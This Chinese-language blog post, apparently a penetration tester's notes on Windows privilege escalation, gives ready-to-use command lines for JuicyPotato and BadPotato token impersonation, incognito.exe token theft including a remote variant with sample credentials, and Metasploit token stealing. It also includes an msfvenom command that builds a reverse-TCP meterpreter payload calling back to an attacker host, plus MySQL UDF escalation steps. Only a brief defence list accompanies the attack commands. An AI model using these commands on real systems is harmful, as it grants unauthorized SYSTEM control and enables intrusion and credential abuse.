0%

Windows提权篇

Windows中的用户与组

Potato家族提权

原理

通过各种⽅法在本地NTLM中继获取SYSTEM令牌,再通过模拟令牌执⾏命令。

条件

  • 获取高权限令牌——token
  • SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限

当⽤户具有 SeImpersonatePrivilege 特权,可以调⽤ CreateProcessWithTokenW 以某 个Token的权限启动新进程。

当⽤户具有 SeAssignPrimaryTokenPrivilege 特权,可以调⽤ CreateProcessAsUserW 以指定⽤户权限启动新进程。

Windows的token

  • Delegation token(授权令牌):⽤于交互会话登录(例如本地⽤户直接登录、远程桌⾯登录)
  • Impersonation token(模拟令牌):⽤于⾮交互登录(利⽤net use访问共享⽂件夹

Windows服务使用的登录账户

  • NT AUTHORITY
  • NT AUTHORITYService
  • NT AUTHORITYService

Juicypotato(MS16-075)

原理

通过DCOM 来使服务向攻击者监听的端⼝发起连接并进⾏NTLM认证。

条件
  • 1.开启SeImpersonate或者SeAssignPrimaryToken权限
1
2
whoami /all
whoami /priv

1
2
3
4
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
  • 2.查看RPC默认端口是否为135

netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

  • 3.根据操作系统选择可用的CLSID

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

  • 4.选择一个系统未占用的端口作为监听端口

-l 指定监听端口

使用
  • 1.Juicy_potato(原版)

https://github.com/ohpe/juicy-potato

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\>JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}

Mandatory args:
-t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 运行指定程序
-l <port>: COM服务器侦听端口

Optional args:
-m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
-a <argument>: 传递给程序命令行参数 (默认 NULL)
-k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
-n <port>: RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
https://github.com/ohpe/juicy-potato/tree/master/CLSID
-z 仅测试CLSID并打印令牌的用户

然后会弹出一个cmd whoami 查看为system权限

  • 2.JuicyPotatoWeb(改)

JuicyPotatowweb.exe -p whoami

如果CLSID默认的不行 可以换别的试试

防御方法
  • 1.阻止攻击者获得SeImpersonate或者SeAssignPrimaryToken权限
  • 2.即使打好系统补丁
  • 3.升级到最新的windows系统

BadPotato

https://github.com/hifuck/badpotato

使用

BadPotato.exe whoami

RoguePotato

后续再补充~

令牌窃取

incognito.exe

下载地址 https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

1
2
3
4
5
6
7
8
9
10
#列取token
incognito.exe list_tokens -u
#远程列举token
incognito.exe -h 192.168.0.159 -u pte1 -p "Pte1.123" list_tokens -u
#窃取到system权限
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
#降权至当前用户
incognito.exe execute -c "pte1-PC\pte1" cmd.exe
#远程窃取到system权限
incognito.exe -h 192.168.0.159 -u pte1 -p "Pte1.123" execute -c "NT AUTHORITY\SYSTEM" cmd.exe

ctrl+c 退出就能恢复原权限

使用msf

  • 1.生产shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=198.168.0.133 LPORT=3344 -f exe -o shell.exe (弹shell也可以使用nishang 的 ps1脚本但是要求ps版本在3以上)

  • 2.使用msf内置模块 incognito

  • 3.窃取token

impersonate_token "NT AUTHORITY\SYSTEM" #窃取SYSTEM权限

steal_token 1252 从进程中窃取

  • 4.恢复到之前的权限

rev2self

内核提权

MS15-051

MS17-010

MS14-058


数据库提权

Mysql UDF提权

条件
  • 必须是root权限
  • secure_file_priv=
  • 将udf.dll 文件上传到Mysql的plugins目录下

具体可以参考https://blog.csdn.net/qq_36119192/article/details/84863268

也可以使用udf大马

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------